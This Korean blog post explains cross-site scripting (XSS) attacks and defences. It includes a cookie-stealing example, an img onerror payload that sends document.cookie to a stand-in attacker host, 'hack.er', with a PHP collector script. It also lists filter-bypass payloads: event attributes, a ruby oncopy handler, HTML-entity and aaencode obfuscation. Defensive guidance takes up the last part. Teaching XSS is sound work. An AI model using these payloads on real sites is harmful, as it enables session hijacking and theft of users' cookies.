DINGA DINGA
Published 2021. 2. 28. 19:27
XSS 공격 개념 정리 WEB/개념 정리
728x90

- XSS(Cross-site Scripting)는 웹 상에서 가장 기초적인 공격 방법으로, 공격하려는 사이트에 스크립트를 넣는 기법을 말한다.

- 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며, 보통 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취한다.

- 자바스크립트를 사용하여 공격하는 경우가 많다.

- 여러 사용자가 접근 가능한 게시판 등에 코드를 삽입하는 경우가 많고, 메일과 같은 매체를 통해 전파되기도 한다.

- HTML을 사용하는 것이기 때문에 Text-Only 게시판이나 BBCode를 이용하는 위키위키 등에서는 XSS가 발생하지 않는다.

- {{{#!html HTML}}} 을 이용해서 HTML 태그를 사용할 수 있으므로 취약점이 있을 수 있다.

 

예시

해커의 홈페이지에 Cookie.php라는 이름의 PHP 파일을 생성한다.

<? fwrite(fopen("XSS.txt", "a+"), $_GET['cookie']; ?>

다음 공격할 사이트(ex. hack.er)에 스크립트를 심는다.

<img src="3" onerror="location.href('http://hack.er/Cookie.php?cookie=' + document.cookie);">

사용자가 스크립트가 심어진 페이지를 볼 경우 쿠키값이 해커의 홈페이지로 넘어가서 세션 하이재킹이 가능해진다.

 

기법

1. 스크립트 태그

- 스크립트 태그로 자바스크립트를 실행한다.

- 매우 정직하여 막기가 쉽다.

/* 예제 */
<script>alert('XSS');</script>

/* 예외 */
<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>

 

2. 자바스크립트 링크

- 링크 태그로 자바스크립트를 실행한다.

- about: 링크와 같이, javascript: 로 시작하는 링크를 스크립트를 실행시킨다.

- 아래 예외는 링크 태그를 클릭할 경우 다른 사이트로 이동하는 것을 막기 위해 사용하는 코드이다.

- javascript: 를 필터링하는 경우가 많아 대부분 막힌다.

/* 예제 */
<a href="javascript:alert('XSS')">XSS</a>

/* 예외 */
<a href="javascript:;">LINK</a>

 

3. 이벤트 속성

- 이벤트 속성으로 스크립트를 실행한다.

- onload, onerror, onclick 등 주로 on으로 시작하는 속성이 이벤트 속성이다.

- 이 방법 역시 많이 막혔다.

<img src="3" onerror="alert('XSS')">

 

4. 블랙리스트 우회

- 알려지지 않은 태그와 속성들을 사용한다.

- 블랙리스트 방식으로 막는 사이트에 사용할 수 있다.

- 위의 방법들보다는 적게 막혔으나, 여전히 최근 웹사이트에서는 화이트리스트 방식 차단이 대부분이라 막혔을 가능성이 높다.

<ruby oncopy="alert('XSS')">XSS</ruby>

 

5. 내용 난독화

- 따옴표로 감싸는 문자열 사이에 공백 문자들을 넣고 HTML 인코드를 하여 난독화한다.

- 일부 브라우저에서 javascript: 링크 사이에 공백 문자가 들어갈 수 있고, HTML 인코드를 해도 디코드된 내용이 출력된다는 점을 이용한다.

<a href="&#x64;&#x61;&#x76;&#x61;&#x73;&#xA;&#x63;&#x72;
&#x69;&#x70;&#x74;&#xA;&#x3A;&#xA;&#x61;&#x6C;&#x65;&#x72;
&#x74;&#xA;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;">XSS</a>

 

6. 스크립트 난독화

- aaaenconde에서 자바스크립트를 일본어를 사용한 이모티콘들로 난독화한다.

- 스크랩트 실행은 가능하지만, document.cookie와 같은 단어를 막을 경우 사용하면 된다.

゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)=
(o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')
[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚)
['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚)
['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+
((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+
(゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_')
[゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') 
[゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];
(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)
[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+
((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) +
(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+
(゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+
((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

 

방어기법

XSS는 데이터를 입력할 때와 출력할 때 모두 필터링하고 클라이언트에도 막을 수 있을 만한 수단을 구성해놓는 것이 좋다.

 

1. 입력 필터

- 자바는 적당한 XSS 필터를 만든 뒤 web.xml에 선언하여 모든 파라미터가 해당 필터를 거치도록 하는 것만으로도 좋은 효과를 볼 수 있다.

- PHP는 입력을 처리할 때, 정규식을 이용하는 preg_replace를 사용하거나, 노드를 이용하는 DOMDocument를 사용할 수 있다.

- 속도는 preg_replace가 더 빠르지만 DOMDocument가 더 안전하다.

- 라이브러리 제작: 일부 태그 및 속성만 막기 보다는, 반대로 일부 태그 및 속성만 허용하게 하는 것이 좋다.

- 라이브러리 이용: OWASP Antisamy, NAVER Lucy XSS Filter, ESAPI 등을 이용할 수 있다.

- BBCode 사용: 주로 <와 >를 대체해 [와 ]를 사용하여 만든다. 만들기도 편리하고 안전성도 높아 추천되는 방법이다. <나 > 같은 HTML 코드를 단순 문자로 바꿀 수 있어 XSS가 실행될 염려가 적다.

 

2. 출력 필터

- HTML5부터 iframe의 sandbox 옵션으로 iframe 내의 자바스크립트, 폼과 같은 것의 제한이 가능해 졌으므로, 위의 방법을 실행한 뒤 2차적으로 써보는 것이 좋다. iframe은 단순히 다른 웹사이트를 불러오는 것만이 아니라, 부모 창에서 마음대로 수정할 수 있기 때문에 AJAX나 PJAX 등을 포기하며 사용하지 말아야 한다.

 

기타

위 방법들과는 별개로 일반 사용자가 스크립트를 잘 알지 못하는 것을 악용하여 사용자가 브라우저 콘솔에 악성 스크립트를 삽입해 실행되도록 속하기도 하는데, 이를 스스로 하는 XSS라는 뜻의 Self XSS라고 부른다.

 

XSS 공격을 방지하는 7계명

0. 허용된 위치가 아닌 곳에 신뢰할 수 없는 데이터가 들어가는것을 허용하지 않는다.
1. 신뢰할 수 없는 데이터는 검증을 하여라.
2. HTML 속성에 신뢰할 수 없는 데이터가 들어갈 수 없도록 하여라.
3. 자바스크립트에 신뢰할 수 없는 값이 들어갈 수 없도록 하여라.
4. CSS의 모든 신뢰할 수 없는 값에 대해서 검증하여라.
5. URL 파라미터에 신뢰할 수 없는 값이 있는지 검증하여라.
6. HTML 코드를 전체적으로 한번 더 검증하여라.

728x90

'WEB > 개념 정리' 카테고리의 다른 글

SQL Injection 개념 정리  (0) 2021.03.26
[생활코딩] MySQL 정리  (0) 2021.03.07